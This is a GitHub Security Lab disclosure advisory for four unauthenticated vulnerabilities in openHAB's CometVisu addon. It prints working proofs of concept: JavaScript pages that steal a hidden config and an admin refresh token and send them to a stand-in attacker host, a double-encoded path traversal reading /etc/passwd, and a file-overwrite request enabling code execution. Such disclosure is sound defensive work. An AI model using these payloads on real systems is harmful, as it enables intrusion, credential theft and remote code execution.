Coordinated Disclosure Timeline

Summary

Several vulnerabilities were found in OpenHAB’s CometVisu addon, which is part of OpenHAB’s Web UI project:

The SSRF/XSS vulnerability described in GHSL-2024-005 could be used by attackers to attack instances that are not directly connected to the Internet.

Project

openhab-webui

Tested Version

v4.1.1

Details

Issue 1: SSRF/XSS (CometVisu) (GHSL-2024-005)

The proxy endpoint of OpenHAB Web UI’s CometVisu addon can be accessed without authentication. This proxy-feature can be exploited as Server-Side Request Forgery (SSRF) to induce GET HTTP requests to internal-only servers, in case the OpenHAB Web UI is exposed in a non-private network.

Furthermore, this proxy-feature can also be exploited as a Cross-Site Scripting (XSS) vulnerability, as an attacker is able to re-route a request to their server and return a page with malicious JavaScript code. Since the browser receives this data directly from the OpenHAB Web UI, this JavaScript code will be executed with the origin of the Web UI application. This allows an attacker to exploit call endpoints on an OpenHAB server even if the OpenHAB server is located in a private network. (e.g. by sending an OpenHAB admin a link that proxies malicious JavaScript.)

This vulnerability was discovered with the help of CodeQL’s Server-side request forgery query.

Proof of Concept

These are two proof of concepts of how an attacker can access a OpenHAB instance even though the OpenHAB instance is not accessible from the outside:

Proof of concept 1: steal information from an unauthenticated OpenHAB endpoint
  1. An attacker creates an information stealer HTML site on a location like: https://attacker.test/infosteal.html with following content:

     <html lang="en">
     [..]
     <body>
         <script>
             // read the content of a local unprotected OpenHAB endpoint via fetch
             fetch("/rest/cv/config/hidden")
                 .then(response => response.text())
                 .then(data => {
                     // send the content to the attacker's server
                     fetch("https://attacker.test/collect?data=" + data);
                 });
         </script>
     </body>
     </html>
    
  2. The attacker lures the OpenHAB admin or someone on the same network as the OpenHAB instance into following this link (e.g. via Phishing mail or automatic redirect from another page):

     http://openhab.local:8080/rest/cv/proxy?url=https://attacker.test/infosteal.html
    
  3. The OpenHAB instance proxies the specified URL of the attacker. As an effect the retrieved HTML page is displayed under the same origin as the OpenHAB instance, which allows the malicious JavaScript to access endpoints on the OpenHAB instance. In this sample it accesses the content of the hidden CometVisu config file and sends it to the attacker.

Proof of concept 2: exchange the refresh token for an access token and act as admin
  1. An attacker creates an HTML on a location like: https://attacker.test/act-as-admin.html with following content:

     <html lang="en">
     [..]
     <body>
         <script>
             let refreshToken = localStorage.getItem("openhab.ui:refreshToken");
             console.log("Refresh Token from local storage " + refereshToken);
             //use refresh token to get access token via POST request
             fetch("/rest/auth/token", {
                     method: "POST",
                     headers: {
                         "Content-Type": "application/x-www-form-urlencoded"
                     },
                     body: "grant_type=refresh_token&client_id=http%3A%2F%2Fopenhab.local%3A8080&redirect_uri=http%3A%2F%2Fopenhab.local%3A8080&refresh_token=" + refreshToken
                 })
                 .then(response => response.json())
                 .then(data => {
    
                     console.log("Access token received in exchange for refresh token: " + data.access_token);
                     //use access token to access an endpoint that can only be accessed by an admin
                     fetch("/rest/addons/services", {
                             method: "GET",
                             headers: {
                                 "Authorization": "Bearer " + data.access_token
                             }
                         })
                         .then(response => response.json())
                         .then(data => {
                             //send content of services to attackers server
                             fetch("https://attacker.test/collect?data=" + JSON.stringify(data));
                         });
                 });
         </script>
     </body>
     </html>
    
  2. The attacker lures the OpenHAB admin into following this link (e.g. via Phishing mail or automatic redirect from another page):

     http://openhab.local:8080/rest/cv/proxy?url=https://attacker.test/act-as-admin.html
    
  3. Again: The OpenHAB instance proxies the specified URL of the attacker. As an effect the retrieved HTML page is displayed under the same origin as the OpenHAB instance, which allows the malicious JavaScript to access endpoints on the OpenHAB instance. In this example however, the malicious JavaScript accesses the refresh token from the Browser’s local storage and exchanges it for an access token. With the access token of an admin the malicious script can wreak havoc.

Impact

This issue may lead up to Remote Code Execution (RCE) when chained with other vulnerabilities (see: GHSL-2024-007).

Issue 2: Path traversal (CometVisu) (GHSL-2024-006)

OpenHAB’s CometVisuServlet is susceptible to an unauthenticated path traversal vulnerability.

A file requested via HTTP get on the CometVisuServlet flows into the getRequestedFile method:

protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
    File requestedFile = getRequestedFile(req);

In the getRequestedFile method it is URL decoded:

if (file == null || !file.exists() || file.isDirectory()) {
    file = requestedFile != null
            ? new File(rootFolder, URLDecoder.decode(requestedFile, StandardCharsets.UTF_8))
            : rootFolder;
}

and then served thanks to the processStaticRequest method:

try {
    // Open streams.
    input = new RandomAccessFile(processFile, "r");
    output = response.getOutputStream();

[..]
    copy(input, output, full.start, full.length);

In this case it’s the internal URL decoding combined with a missing check for accessible paths that allows the exploitation of this vulnerability.

This vulnerability was discovered with the help of CodeQL’s Uncontrolled data used in path expression query.

Proof of concept

  1. In case the userdata/cometvisu folder inside the OpenHAB installation folder doesn’t exist yet, an attacker accesses the /rest/cv/config/download-client endpoint of OpenHAB (either direct or indirect via a Cross-Site-Scripting vulnerability such as GHSL-2024-005). This downloading of the client creates the folder structure required for this exploit to succeed.

     curl "http://openhab.local:8080/rest/cv/config/download-client"
    
  2. Afterwards the attacker exploits the path traversal vulnerability by URL double encoding the path ../../../../../../../../etc/passwd:

     curl "http://openhab.local:8080/cometvisu/%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252Fetc%252Fpasswd"
    
  3. The request returns with the contents of /etc/passwd.

Impact

This issue may lead to Information Disclosure.

Issue 3: RCE through path traversal (CometVisu) (GHSL-2024-007)

CometVisu’s file system endpoints don’t require authentication and additionally the endpoint to update an existing file is susceptible to path traversal. This makes it possible for an attacker to overwrite existing files on the OpenHAB instance. If the overwritten file is a shell script that is executed at a later time this vulnerability can allow remote code execution by an attacker.

The path for the target file gets created by appending the user controlled path to an existing path in the update method of class FsResource:

@PUT
@Produces(MediaType.APPLICATION_JSON)
@Consumes({ MediaType.TEXT_PLAIN, MediaType.TEXT_XML })
@Operation(summary = "Update an existing file", responses = {
        @ApiResponse(responseCode = "200", description = "OK"),
        @ApiResponse(responseCode = "403", description = "not allowed"),
        @ApiResponse(responseCode = "404", description = "File does not exist") })
public Response update(
        @Parameter(description = "Relative path inside the config folder", required = true) @QueryParam("path") String path,
        @Parameter(description = "file content") String body,
        @Parameter(description = "CRC32 hash value of the file content", content = @Content(schema = @Schema(implementation = String.class, defaultValue = "ignore"))) @DefaultValue("ignore") @QueryParam("hash") String hash) {
    File target = new File(
            ManagerSettings.getInstance().getConfigFolder().getAbsolutePath() + File.separator + path);
    if (target.exists()) {
        if (target.canWrite()) {
            try {
                FsUtil.getInstance().saveFile(target, body, hash);

This vulnerability was discovered with the help of CodeQL’s Uncontrolled data used in path expression query.

Proof of concept

  1. An attacker makes a PUT request to the /rest/cv/fs endpoint of OpenHAB (either direct or indirect via a Cross-Site-Scripting vulnerability such as GHSL-2024-005):

     curl -X PUT -H "Content-Type: text/plain" "http://openhab.local:8080/rest/cv/fs?path=../../../../start.sh&hash=2084fec4"  -d "echo PWNED"
    
  2. In this case the attacker overwrites the start.sh script from OpenHAB itself with the content echo PWNED. When at a later point this script is executed again (either manually or automatically) the attacker has executed code on the server.

Impact

This issue may lead up to Remote Code Execution (RCE).

Issue 4: Sensitive information disclosure (CometVisu) (GHSL-2024-008)

Several endpoints in the CometVisu addon of OpenHAB don’t require authentication. This makes it possible for unauthenticated attackers to modify or to steal sensitive data.

E.g. create a new config option via ConfigResource:

Or retrieve the hidden config:

Proof of concept

  1. an attacker accesses the /rest/cv/config/hidden endpoint of OpenHAB (either direct or indirect via a Cross-Site-Scripting vulnerability such as GHSL-2024-005)

     curl "http://openhab.local:8080/rest/cv/config/hidden"
    
  2. OpenHAB responds with the contents of the hidden config (containing sample entries by default).

     {"influx":{"pass":"secret","selfsigned":"true","uri":"https://172.17.0.1/proxy/ts/query","user":"docker"},"fritzbox":{"pass":"secret","uri":"https://192.168.0.1:49443/","user":"CometVisuTestUser"}}
    

Impact

This issue may lead to sensitive Information Disclosure.

CVE

Credit

These issues were discovered and reported by GHSL team member @p- (Peter Stöckli).

Contact

You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2024-005, GHSL-2024-006, GHSL-2024-007, or GHSL-2024-008 in any communication regarding these issues.